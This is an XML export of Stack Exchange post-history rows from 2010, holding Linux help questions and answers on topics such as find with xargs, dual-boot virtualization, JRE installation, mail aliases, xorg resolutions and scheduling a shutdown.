  <row Id="5359" PostHistoryTypeId="2" PostId="2586" RevisionGUID="b912ed7e-c50f-4d71-ba17-eadb153bed38" CreationDate="2010-10-01T15:18:58.337" UserId="1942" Text="First off: I never copy large files without using ionice, unless I know that I will not want to use the computer for half an hour or more.&#xD;&#xA;&#xD;&#xA;Second: all my partitions are jouranled so intrapartition copying takes not time. If it is a long copy I do a &quot;du -sm&quot; on the files and &quot;df -m|grep copy_to_partition&quot;. Then if curious how much more time it will take I do the &quot;df&quot; again and see how much of the files was copied.&#xD;&#xA;" />
  <row Id="5360" PostHistoryTypeId="2" PostId="2587" RevisionGUID="cd1a2107-8bec-41c9-9da5-03eaf5c48346" CreationDate="2010-10-01T15:42:42.210" UserId="1942" Text="Has the software on the server been updated recently?&#xD;&#xA;&#xD;&#xA;Some idiot package maintainers ( and Ubuntu is one of the big violators ), decide that they know better then you what settings  you should have and overwrite them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5362" PostHistoryTypeId="2" PostId="2588" RevisionGUID="6ed9f0dc-d1bd-4cf5-9503-9a965ff4095c" CreationDate="2010-10-01T16:04:57.087" UserId="250" Text="Hi :)&#xD;&#xA;&#xD;&#xA;The situation is, I have an MP3 player `mpg321` that accepts a list of files as argument. I keep my music in a directory named &quot;music&quot;, in which there are a few more directories. I just want to play all of them, so I run the program with&#xD;&#xA;&#xD;&#xA;    mpg321 $(find /music -iname &quot;*\.mp3&quot;)&#xD;&#xA;&#xD;&#xA;. The problem is, some file names have whitespace in them, and the program breaks those names into smaller parts and complains about missing files. Wrapping the result of `find` in quotes&#xD;&#xA;&#xD;&#xA;    mpg321 &quot;$(find /music -iname &quot;*\.mp3&quot;)&quot;&#xD;&#xA;&#xD;&#xA;does not help because all will become one big &quot;file name&quot;, which is obviously not found.&#xD;&#xA;&#xD;&#xA;How can I do this then? If that matters, I am using `bash`, but will be switching to `zsh` soon." />
  <row Id="5363" PostHistoryTypeId="1" PostId="2588" RevisionGUID="6ed9f0dc-d1bd-4cf5-9503-9a965ff4095c" CreationDate="2010-10-01T16:04:57.087" UserId="250" Text="how to pass the result of `find` as a list of files?" />
  <row Id="5364" PostHistoryTypeId="3" PostId="2588" RevisionGUID="6ed9f0dc-d1bd-4cf5-9503-9a965ff4095c" CreationDate="2010-10-01T16:04:57.087" UserId="250" Text="écommandölineàéshellà" />
  <row Id="5365" PostHistoryTypeId="2" PostId="2589" RevisionGUID="2081e7d4-aa74-43e0-91ce-4776930d499f" CreationDate="2010-10-01T16:08:47.033" UserId="1207" Text="Try using find's `-print0` option in combination with `xargs` like this:&#xD;&#xA;&#xD;&#xA;    find /music -iname &quot;*\.mp3&quot; -print0 | xargs -0 mpg321&#xD;&#xA;&#xD;&#xA;How this works is explained by [find's manual page][1]:&#xD;&#xA;&#xD;&#xA;&gt; -print0&#xD;&#xA;  &#xD;&#xA;&gt;True; print the full file name on the standard output, followed by a null character (instead of the newline character that -print uses).   This  allows file  names that contain newlines or other types of white space to be correctly interpreted by programs that process the find output.  This option corresponds to the -0 option of xargs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/find.1.html" />
  <row Id="5366" PostHistoryTypeId="2" PostId="2590" RevisionGUID="d9b893f6-77aa-4e63-bae4-218e4a911c86" CreationDate="2010-10-01T16:16:16.443" UserId="2094" Text="__Question:__  I currently have a dual boot: Win 7 x64 Pro &amp; Ubuntu 10.04.1 x64.  Is there a way to boot Win 7 as a virtual machine under Ubuntu without reinstalling anything, *in addition to maintaining the ability to dual boot?*&#xD;&#xA;&#xD;&#xA;__Background:__ I have a dual boot system with Windows 7 installed on one partition in a Raid 5 and Ubuntu 10.04.1 installed in a separate partition (actually split across three) in the same Raid 5.  I have a Core i7-930 with 6GB of RAM.  I'd be happy to provide any other hardware specs.&#xD;&#xA;&#xD;&#xA;I require Windows 7 x64 Pro for only a small number of things, basically just VS 2008 / VS 2010 so that I can use nSight from nVidia to debug CUDA / OpenCL projects.&#xD;&#xA;&#xD;&#xA;I must be able to dual boot because (and this is more just my suspicion) I don't want any more between the software and the three graphics cards that I have installed than is *absolutely necessary*.  If it means anything, when in production mode where I'm running without virtualization, I have two cards set to exclusive mode and one set to prohibited mode (to drive the display).  I'm worried that running nvidia-smi under either Ubuntu as the host OS or Win 7 as guest OS might bollux things up.&#xD;&#xA;&#xD;&#xA;I don't know much about Xen, KVM, etc.  I've played around a bit with them, but I'm more than willing to use any virtualization software as long as it's free and it can accomplish what I want.  Note that I'm a student -- this is all non-commercial development.&#xD;&#xA;&#xD;&#xA;I can, if absolutely necessary, reinstall everything, but I had [many][1], [many][2] problems getting the CUDA environment to work under VS 2010 -- I installed/uninstalled/reinstalled VS '08 &amp; '10 so many times that it corrupted the Win 7 registry and I had to start over from scratch.  Now that it's working as a dual boot, I'd really like to avoid starting from scratch a fourth time.&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/ubuntu/lucid/+source/grub-installer/+bug/568050&#xD;&#xA;  [2]: http://stackoverflow.com/questions/3778799/how-do-i-start-a-cuda-app-in-visual-studio-2010" />
  <row Id="5367" PostHistoryTypeId="1" PostId="2590" RevisionGUID="d9b893f6-77aa-4e63-bae4-218e4a911c86" CreationDate="2010-10-01T16:16:16.443" UserId="2094" Text="Windows 7  Dual Boot + Virtualization under Ubuntu 10.04?" />
  <row Id="5368" PostHistoryTypeId="3" PostId="2590" RevisionGUID="d9b893f6-77aa-4e63-bae4-218e4a911c86" CreationDate="2010-10-01T16:16:16.443" UserId="2094" Text="éubuntuàévirtualömachineàéwindowsàédualöbootà" />
  <row Id="5369" PostHistoryTypeId="5" PostId="2589" RevisionGUID="ca70eb11-79a8-4cde-896e-4ce067312808" CreationDate="2010-10-01T16:17:43.273" UserId="1207" Comment="added 230 characters in body" Text="Try using find's `-print0` or `-fprint0` option in combination with `xargs` like this:&#xD;&#xA;&#xD;&#xA;    find /music -iname &quot;*\.mp3&quot; -print0 | xargs -0 mpg321&#xD;&#xA;&#xD;&#xA;How this works is explained by [find's manual page][1]:&#xD;&#xA;&#xD;&#xA;&gt; -print0&#xD;&#xA;  &#xD;&#xA;&gt;True; print the full file name on the standard output, followed by a null character (instead of the newline character that -print uses).   This  allows file  names that contain newlines or other types of white space to be correctly interpreted by programs that process the find output.  This option corresponds to the -0 option of xargs.&#xD;&#xA;&#xD;&#xA;This should take care of any newlines.  Other whitespace may be a bit more complicated.  I think either using `-fprint0` which may allow you to add quotes around each file name or piping through `tr` should work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/find.1.html" />
  <row Id="5371" PostHistoryTypeId="5" PostId="2589" RevisionGUID="5240bc16-0134-4c57-9181-d1b91fd9942f" CreationDate="2010-10-01T16:25:17.067" UserId="1207" Comment="bah, meant printf, not fprint" Text="Try using find's `-print0` or `-printf` option in combination with `xargs` like this:&#xD;&#xA;&#xD;&#xA;    find /music -iname &quot;*\.mp3&quot; -print0 | xargs -0 mpg321&#xD;&#xA;&#xD;&#xA;How this works is explained by [find's manual page][1]:&#xD;&#xA;&#xD;&#xA;&gt; -print0&#xD;&#xA;  &#xD;&#xA;&gt;True; print the full file name on the standard output, followed by a null character (instead of the newline character that -print uses).   This  allows file  names that contain newlines or other types of white space to be correctly interpreted by programs that process the find output.  This option corresponds to the -0 option of xargs.&#xD;&#xA;&#xD;&#xA;This should take care of any newlines.  &#xD;&#xA;&#xD;&#xA;Other whitespace may be a bit more complicated.  I think either using `-printf` which may allow you to add quotes around each file name or piping through `tr` should work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/find.1.html" />
  <row Id="5372" PostHistoryTypeId="5" PostId="2589" RevisionGUID="c6a761ad-b381-4276-9a95-fb53294dfac5" CreationDate="2010-10-01T16:33:11.937" UserId="1207" Comment="For some reason I thought that  -print0 had problems with more complicated whitespace, but I can't seem to find it." Text="Try using find's `-print0` or `-printf` option in combination with `xargs` like this:&#xD;&#xA;&#xD;&#xA;    find /music -iname &quot;*\.mp3&quot; -print0 | xargs -0 mpg321&#xD;&#xA;&#xD;&#xA;How this works is explained by [find's manual page][1]:&#xD;&#xA;&#xD;&#xA;&gt; -print0&#xD;&#xA;  &#xD;&#xA;&gt;True; print the full file name on the standard output, followed by a null character (instead of the newline character that -print uses).   This  allows file  names that contain newlines or other types of white space to be correctly interpreted by programs that process the find output.  This option corresponds to the -0 option of xargs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/find.1.html" />
  <row Id="5373" PostHistoryTypeId="5" PostId="2556" RevisionGUID="8843f92c-3371-469c-ae60-c8845eebcece" CreationDate="2010-10-01T16:37:29.207" UserId="73" Comment="added 3159 characters in body" Text="I'm trying to install a JRE on Ubuntu 10.04, but I failed:&#xD;&#xA;&#xD;&#xA;    oneat@oneat-desktop:~/Downloads$ sudo rpm -i --force-debian jre-6u21-linux-i586.rpm&#xD;&#xA;    error: Failed dependencies:&#xD;&#xA;        /bin/basename is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/cat is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/cp is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/gawk is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/grep is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/ln is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/ls is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/mkdir is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/mv is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/pwd is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/rm is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/sed is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/sort is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/touch is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/cut is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/dirname is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/expr is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/find is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/tail is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/tr is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/wc is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/sh is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;&#xD;&#xA;How can I work around that?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**: I tried [Riccardo's answer](http://unix.stackexchange.com/questions/2556/problems-with-rpm-jre/2582#2582), but it still doesn't work:&#xD;&#xA;&#xD;&#xA;    root@oneat-desktop:/home/oneat/Downloads/untitled folder# rpm --nodeps --force-debian -i jre.rpm&#xD;&#xA;    Unpacking JAR files...&#xD;&#xA;    	rt.jar...&#xD;&#xA;    	jsse.jar...&#xD;&#xA;    	charsets.jar...&#xD;&#xA;    	localedata.jar...&#xD;&#xA;    	plugin.jar...&#xD;&#xA;    	javaws.jar...&#xD;&#xA;    	deploy.jar...&#xD;&#xA;    [: 924: /usr/java/jre1.6.0_21: unexpected operator&#xD;&#xA;    [: 924: /usr/java/jre1.6.0_21: unexpected operator&#xD;&#xA;&#xD;&#xA;Those are only some of the errors:&#xD;&#xA;&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so'&#xD;&#xA;    dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libj2gss.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386').&#xD;&#xA;    Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file.&#xD;&#xA;    To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH.&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so'&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so'&#xD;&#xA;    dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjava.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386').&#xD;&#xA;    Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file.&#xD;&#xA;    To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH.&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libverify.so'&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libverify.so'&#xD;&#xA;    dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjsoundalsa.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386').&#xD;&#xA;    Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file.&#xD;&#xA;    To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH.&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so'&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so'&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libjli.so'&#xD;&#xA;    dpkg-shlibdeps: warning: Can't extract name and version from library name `libjli.so'&#xD;&#xA;    dpkg-shlibdeps: warning: couldn't find library libmawt.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjawt.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386').&#xD;&#xA;    Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file.&#xD;&#xA;    To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH.&#xD;&#xA;    dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjawt.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386').&#xD;&#xA;" />
  <row Id="5375" PostHistoryTypeId="2" PostId="2592" RevisionGUID="062e6de3-8334-4120-887b-e1c52e2740b5" CreationDate="2010-10-01T17:25:59.610" UserId="73" Text="I think [Steven's solution](http://unix.stackexchange.com/questions/2588/how-to-pass-the-result-of-find-as-a-list-of-files/2589#2589) is best, but another way is to use xargs' `-I` flag, which lets you specify a string that will then be replaced in the command with the argument (instead of just appending the argument onto the end of the command). You can use that to quote the argument:&#xD;&#xA;&#xD;&#xA;    find /music -iname &quot;*\.mp3&quot; | xargs -0 -Ifoo mpg321 &quot;foo&quot;" />
  <row Id="5376" PostHistoryTypeId="2" PostId="2593" RevisionGUID="13b49b6c-4198-4146-b047-46de7d8adbc5" CreationDate="2010-10-01T17:27:11.493" UserDisplayName="Justin" Text="I need to set up a lot of email addresses on a Linux machine, but I don't want to create a new user account for each one.&#xD;&#xA;&#xD;&#xA;The mail can stored in a regular maildir or mbox.  (I'll be checking the mail through some Perl code running on a cronjob.)&#xD;&#xA;&#xD;&#xA;How do I do this?" />
  <row Id="5377" PostHistoryTypeId="1" PostId="2593" RevisionGUID="13b49b6c-4198-4146-b047-46de7d8adbc5" CreationDate="2010-10-01T17:27:11.493" UserDisplayName="Justin" Text="set up email addresses that aren't attached to a user" />
  <row Id="5378" PostHistoryTypeId="3" PostId="2593" RevisionGUID="13b49b6c-4198-4146-b047-46de7d8adbc5" CreationDate="2010-10-01T17:27:11.493" UserDisplayName="Justin" Text="émailà" />
  <row Id="5379" PostHistoryTypeId="2" PostId="2594" RevisionGUID="b1a1fc13-a7b2-4302-b8cc-021fdeb6a127" CreationDate="2010-10-01T18:09:51.680" UserId="146" Text="Display managers such as *xdm* &amp; *gdm* usually capture stderr from the processes they start and log it to a file such as `/var/log/xdm.log` or `/var/log/gdm/:0.log`.  That includes the output from the X server being started.&#xD;&#xA;&#xD;&#xA;Once your session starts, it may redirect output from the session processes to a file such as `~/.xsession-errors` as tante pointed out in his answer." />
  <row Id="5380" PostHistoryTypeId="2" PostId="2595" RevisionGUID="7617e124-81f0-4bb7-9c66-5581259d058e" CreationDate="2010-10-01T18:50:19.440" UserId="250" Text="Hi again,&#xD;&#xA;&#xD;&#xA;Sometimes I start a program that takes a very long time to finish (`emerge`), then realize that I should go to bed instead of waiting for it. If I know this in the first place I would run&#xD;&#xA;&#xD;&#xA;    program; halt&#xD;&#xA;However, now that I have started the program already, how can I &quot;schedule&quot; the computer to shutdown when that process finishes? Would `Ctrl+z` then `fg; halt` be OK?" />
  <row Id="5381" PostHistoryTypeId="1" PostId="2595" RevisionGUID="7617e124-81f0-4bb7-9c66-5581259d058e" CreationDate="2010-10-01T18:50:19.440" UserId="250" Text="how to queue a command to run after another command finishes?" />
  <row Id="5382" PostHistoryTypeId="3" PostId="2595" RevisionGUID="7617e124-81f0-4bb7-9c66-5581259d058e" CreationDate="2010-10-01T18:50:19.440" UserId="250" Text="écommandölineàétasköschedulingà" />
  <row Id="5383" PostHistoryTypeId="2" PostId="2596" RevisionGUID="b826e9fd-f873-4fa2-b44d-6de02c914bbb" CreationDate="2010-10-01T18:51:12.760" UserId="885" Text="The on-topic part: yes, you can run a virtual machine under Ubuntu.&#xD;&#xA;&#xD;&#xA;CUDA requires direct access to the hardware. That means you'll have to run Windows either directly on the hardware or on a virtualization engine that allows a virtual machine to access hardware devices directly. That pretty much means hypervisor-based virtualization. VirtualBox is definitely out. Google suggests that Xen will do.&#xD;&#xA;&#xD;&#xA;Running a single Windows installation in different hardware configurations (such as the bare metal and a virtual machine) is notoriously difficult. If you really don't want to install Windows, you might prefer to run Ubuntu in a VM under Windows.&#xD;&#xA;&#xD;&#xA;It's not clear from your question whether you also want to run CUDA programs in Ubuntu. If you do, you can boot your existing installation on pretty much any hardware, there's little if any setup required. This does require a virtualization system that can bind a disk partition inside a VM, which I think VMWare can do but not VirtualBox. (It's also possible with VirtualBox by making a custom initrd with the `vboxsfs` module, but that's no longer no-setup-required. An alternative method is to clone the system partition to a virtual machine disk.)&#xD;&#xA;" />
  <row Id="5384" PostHistoryTypeId="2" PostId="2597" RevisionGUID="c86b422f-cbd5-4665-855b-54a731f83b70" CreationDate="2010-10-01T18:53:56.310" UserId="2091" Text="Yes, that would work.&#xD;&#xA;&#xD;&#xA;If unsure, you may test it with &#xD;&#xA;&#xD;&#xA;sleep 15 - ctrl+z - fg; echo &quot;it works&quot;" />
  <row Id="5385" PostHistoryTypeId="2" PostId="2598" RevisionGUID="8e109e73-bf2b-4b79-8a50-05bf8962a0af" CreationDate="2010-10-01T18:56:46.120" UserId="885" Text="    find /music -iname &quot;*\.mp3&quot; -exec mpg123 {} +&#xD;&#xA;&#xD;&#xA;With GNU find, you can also use [`-print0` and `xargs -0`](http://unix.stackexchange.com/questions/2588/how-to-pass-the-result-of-find-as-a-list-of-files/2589#2589), but there's little point in learning yet another tool. The `-exec ... {} +` syntax gets little mention because Linux acquired it later than `-print0`, but there's no reason not to use it now.&#xD;&#xA;&#xD;&#xA;With zsh or bash 4, this is a lot simpler:&#xD;&#xA;&#xD;&#xA;    mpg123 **/*.[Mm][Pp]3&#xD;&#xA;&#xD;&#xA;In zsh only, you can make a (part of a) pattern case-insensitive:&#xD;&#xA;&#xD;&#xA;    mpg123 (#i)**/*.mp3&#xD;&#xA;" />
  <row Id="5386" PostHistoryTypeId="2" PostId="2599" RevisionGUID="ab63ff12-d290-4c70-8dde-c72457c3fb7e" CreationDate="2010-10-01T20:43:40.450" UserId="2103" Text="The default xorg configuration file created does not allow me to set up the display resolution I want (1360x768).&#xD;&#xA;&#xD;&#xA;The auto configuration command `xorg -configure` didn't create the proper configuration file either.&#xD;&#xA;&#xD;&#xA;What's steps do I need to follow in order to manually add the resultion I want as one of the available ones?" />
  <row Id="5387" PostHistoryTypeId="1" PostId="2599" RevisionGUID="ab63ff12-d290-4c70-8dde-c72457c3fb7e" CreationDate="2010-10-01T20:43:40.450" UserId="2103" Text="Step by step guide to setup display resolutions in xorg." />
  <row Id="5388" PostHistoryTypeId="3" PostId="2599" RevisionGUID="ab63ff12-d290-4c70-8dde-c72457c3fb7e" CreationDate="2010-10-01T20:43:40.450" UserId="2103" Text="éxorgàédriversàédisplayösettingsà" />
  <row Id="5389" PostHistoryTypeId="2" PostId="2600" RevisionGUID="a115f838-3b41-4c78-8522-1fbeec9630e3" CreationDate="2010-10-01T20:46:28.777" UserId="2049" Text="My organization is running an exchange server 2007 with MAPI disabled for security reasons.  How do I connect with evolution?  When I connect using the Microsoft Exchange option I get the error &#xD;&#xA;&#xD;&#xA;&gt; The Exchange server is not compatible&#xD;&#xA;&gt; with Exchange Connector.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The server is running Exchange 5.5.&#xD;&#xA;&gt; Exchange Connector  supports Microsoft&#xD;&#xA;&gt; Exchange 2000 and 2003 only.&#xD;&#xA;&#xD;&#xA;If I use the Exchange MAPI optionI get&#xD;&#xA;&#xD;&#xA;&gt; Authentication failed. &#xD;&#xA;&gt;&#xD;&#xA;&gt; MapiLogonProvider:MAPI_E_NETWORK_ERROR&#xD;&#xA;&#xD;&#xA;Which appears to be a network timeout, which confirms that administrators have MAPI turned off." />
  <row Id="5390" PostHistoryTypeId="1" PostId="2600" RevisionGUID="a115f838-3b41-4c78-8522-1fbeec9630e3" CreationDate="2010-10-01T20:46:28.777" UserId="2049" Text="Evolution and Exchange Server 2007 with out MAPI" />
  <row Id="5391" PostHistoryTypeId="3" PostId="2600" RevisionGUID="a115f838-3b41-4c78-8522-1fbeec9630e3" CreationDate="2010-10-01T20:46:28.777" UserId="2049" Text="émailà" />
  <row Id="5392" PostHistoryTypeId="6" PostId="2600" RevisionGUID="fa15952e-9ef3-4c8c-b25a-c0b1691a2d37" CreationDate="2010-10-01T20:50:58.283" UserId="1339" Comment="added some tags" Text="éserveràémailàéevolutionàéexchangeà" />
  <row Id="5393" PostHistoryTypeId="2" PostId="2601" RevisionGUID="89c66677-beca-4b8f-a4d8-cf1e4a8d5af4" CreationDate="2010-10-01T21:10:22.007" UserId="2049" Text="With my new built computer Ubuntu 10.4 lucid won't hibernate or suspend.  It's a custom built core i7 on the Gigabyte X58A-UD3R motherboard. Hibernate is enabled in the bios.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5394" PostHistoryTypeId="1" PostId="2601" RevisionGUID="89c66677-beca-4b8f-a4d8-cf1e4a8d5af4" CreationDate="2010-10-01T21:10:22.007" UserId="2049" Text="Ubuntu wont' Hibernate" />
  <row Id="5395" PostHistoryTypeId="3" PostId="2601" RevisionGUID="89c66677-beca-4b8f-a4d8-cf1e4a8d5af4" CreationDate="2010-10-01T21:10:22.007" UserId="2049" Text="éubuntuàésuspendà" />
  <row Id="5396" PostHistoryTypeId="2" PostId="2602" RevisionGUID="c5b4173d-fac1-4232-953c-d959267e799e" CreationDate="2010-10-01T22:55:21.147" UserId="274" Text="The full answer really depends on what mail server program you are using.  &#xD;&#xA;&#xD;&#xA;For both the `postfix` and `sendmail` you can redirect mail addresses to local accounts using the `/etc/aliases` file: any line of the form `address: unix-account` will deliver email addressed to `address@your.domain` to the mailbox of `unix-account`.  For example, if `/etc/aliases` contains a line like this:&#xD;&#xA;&#xD;&#xA;    postmaster: root&#xD;&#xA;&#xD;&#xA;then UNIX user `root` will get all the mail addressed to `postmaster@your.domain`, without any need for `postmaster` to exist as a regular UNIX account.&#xD;&#xA;&#xD;&#xA;Instead of a UNIX account name, you can specify the full path of a file -- mail will be delivered to that file (in mbox format).  Other redirections are also possible; see `man aliases` for details.&#xD;&#xA;&#xD;&#xA;_Note:_ after editing `/etc/aliases`, you have to run the command `newaliases` (as root, typically) in order to have the mail server pick up the new addresses." />
  <row Id="5397" PostHistoryTypeId="5" PostId="2599" RevisionGUID="305fb777-b51e-4be3-89c2-f7e85a359d32" CreationDate="2010-10-02T00:09:18.397" UserId="2103" Comment="added 128 characters in body" Text="The default xorg configuration file created does not allow me to set up the display resolution I want (1360x768).&#xD;&#xA;&#xD;&#xA;The auto configuration command `xorg -configure` didn't create the proper configuration file either.&#xD;&#xA;&#xD;&#xA;What's steps do I need to follow in order to manually add the resultion I want as one of the available ones?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;I'm running this:&#xD;&#xA;&#xD;&#xA;- CentOS 5.5, Linux 2.6.18-53.el5&#xD;&#xA;- X Window System Version 7.1.1&#xD;&#xA;- Gnome version 2.16&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5398" PostHistoryTypeId="2" PostId="2603" RevisionGUID="8f9d6599-3fd8-4443-a9c0-c96f56df1e77" CreationDate="2010-10-02T00:12:55.690" UserId="1571" Text="It seems that bash doesn't want to autocomplete commands (what's annoying me right now is not autocompleting apt-get) when I'm logged into my machine from SSH. Is there some setting that will allow bash to autocomplete inside an ssh session?" />
  <row Id="5399" PostHistoryTypeId="1" PostId="2603" RevisionGUID="8f9d6599-3fd8-4443-a9c0-c96f56df1e77" CreationDate="2010-10-02T00:12:55.690" UserId="1571" Text="Bash autocomplete in ssh session" />
  <row Id="5400" PostHistoryTypeId="3" PostId="2603" RevisionGUID="8f9d6599-3fd8-4443-a9c0-c96f56df1e77" CreationDate="2010-10-02T00:12:55.690" UserId="1571" Text="ébashàésshàéautocompleteà" />
  <row Id="5401" PostHistoryTypeId="2" PostId="2604" RevisionGUID="37bc74c5-1f0c-4076-b977-35a5b5755ebe" CreationDate="2010-10-02T00:30:41.473" UserId="1942" Text="I think the title says it all. I need a library to allow me to read and edit ID3 Tags&#xD;&#xA;from C++ in Linux. Suggestions?" />
  <row Id="5402" PostHistoryTypeId="1" PostId="2604" RevisionGUID="37bc74c5-1f0c-4076-b977-35a5b5755ebe" CreationDate="2010-10-02T00:30:41.473" UserId="1942" Text="What libraries are there for reading/editing ID3s of mp3?" />
  <row Id="5403" PostHistoryTypeId="3" PostId="2604" RevisionGUID="37bc74c5-1f0c-4076-b977-35a5b5755ebe" CreationDate="2010-10-02T00:30:41.473" UserId="1942" Text="élinuxà" />
  <row Id="5404" PostHistoryTypeId="6" PostId="2604" RevisionGUID="eef66c1e-efaa-4467-b91f-f77c02437ba8" CreationDate="2010-10-02T00:32:28.787" UserId="1207" Comment="edited tags" Text="élinuxàélibrariesàéccççà" />
  <row Id="5405" PostHistoryTypeId="5" PostId="1107" RevisionGUID="e2384aba-a314-442e-a272-020f5a32bf77" CreationDate="2010-10-02T01:14:18.327" UserId="203" Comment="add link to 3.0 kernel book." Text="[Linux Kernel 2.4 Internals][1] is another online resource to look at.  It appears to take a pretty 'ground up' approach, starting with booting.  Here the the TOC:&#xD;&#xA;&#xD;&#xA; 1. Booting&#xD;&#xA;    * 1.1 Building the Linux Kernel Image&#xD;&#xA;    * 1.2 Booting: Overview&#xD;&#xA;    * 1.3 Booting: BIOS POST&#xD;&#xA;    * 1.4 Booting: bootsector and setup&#xD;&#xA;    * 1.5 Using LILO as a bootloader&#xD;&#xA;    * 1.6 High level initialisation&#xD;&#xA;    * 1.7 SMP Bootup on x86&#xD;&#xA;    * 1.8 Freeing initialisation data and code&#xD;&#xA;    * 1.9 Processing kernel command line   &#xD;&#xA; 2. Process and Interrupt Management&#xD;&#xA;    * 2.1 Task Structure and Process Table&#xD;&#xA;    * 2.2 Creation and termination of tasks and kernel threads&#xD;&#xA;    * 2.3 Linux Scheduler&#xD;&#xA;    * 2.4 Linux linked list implementation&#xD;&#xA;    * 2.5 Wait Queues&#xD;&#xA;    * 2.6 Kernel Timers&#xD;&#xA;    * 2.7 Bottom Halves&#xD;&#xA;    * 2.8 Task Queues&#xD;&#xA;    * 2.9 Tasklets&#xD;&#xA;    * 2.10 Softirqs&#xD;&#xA;    * 2.11 How System Calls Are Implemented on i386 Architecture?&#xD;&#xA;    * 2.12 Atomic Operations&#xD;&#xA;    * 2.13 Spinlocks, Read-write Spinlocks and Big-Reader Spinlocks&#xD;&#xA;    * 2.14 Semaphores and read/write Semaphores&#xD;&#xA;    * 2.15 Kernel Support for Loading Modules &#xD;&#xA; 4. Virtual Filesystem (VFS)&#xD;&#xA;    * 3.1 Inode Caches and Interaction with Dcache&#xD;&#xA;    * 3.2 Filesystem Registration/Unregistration&#xD;&#xA;    * 3.3 File Descriptor Management&#xD;&#xA;    * 3.4 File Structure Management&#xD;&#xA;    * 3.5 Superblock and Mountpoint Management&#xD;&#xA;    * 3.6 Example Virtual Filesystem: pipefs&#xD;&#xA;    * 3.7 Example Disk Filesystem: BFS&#xD;&#xA;    * 3.8 Execution Domains and Binary Formats &#xD;&#xA; 5. Linux Page Cache&#xD;&#xA; 6. IPC mechanisms&#xD;&#xA;    * 5.1 Semaphores&#xD;&#xA;    * 5.2 Message queues&#xD;&#xA;    * 5.3 Shared Memory&#xD;&#xA;    * 5.4 Linux IPC Primitives &#xD;&#xA;&#xD;&#xA;And, to make it even sweeter, there is a new 3.0 Kernel development book out and [Slashdot has a review.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.moses.uklinux.net/patches/lki.html&#xD;&#xA;  [2]: http://linux.slashdot.org/story/10/10/01/1315233/Linux-Kernel-Development-3rd-Ed" />
